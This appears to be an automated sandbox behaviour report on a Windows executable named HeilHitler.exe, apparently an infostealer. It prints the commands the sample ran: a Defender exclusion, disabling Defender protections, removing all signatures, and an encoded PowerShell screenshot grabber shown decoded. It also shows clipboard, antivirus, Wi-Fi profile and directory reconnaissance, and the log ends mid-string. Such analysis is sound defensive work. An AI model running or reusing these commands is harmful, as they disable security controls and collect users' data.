Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D6D30C SetUnhandledExceptionFilter,	0_2_00007FF633D6D30C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D6D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF633D6D12C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D6C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF633D6C8A0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D7A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF633D7A614
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D6D30C SetUnhandledExceptionFilter,	1_2_00007FF633D6D30C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D6D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF633D6D12C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D6C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF633D6C8A0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D7A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF633D7A614
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD63048 IsProcessorFeaturePresent,00007FFE133319C0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFE133319C0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFAD63048
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE82009 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFAE82009
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF45A1F IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFAF45A1F
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C5B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_00007FF702C5B52C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C5B6D8 SetUnhandledExceptionFilter,	68_2_00007FF702C5B6D8
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C5A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	68_2_00007FF702C5A66C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C64C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_00007FF702C64C10

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Users\user\Desktop\HeilHitler.exe "C:\Users\user\Desktop\HeilHitler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANA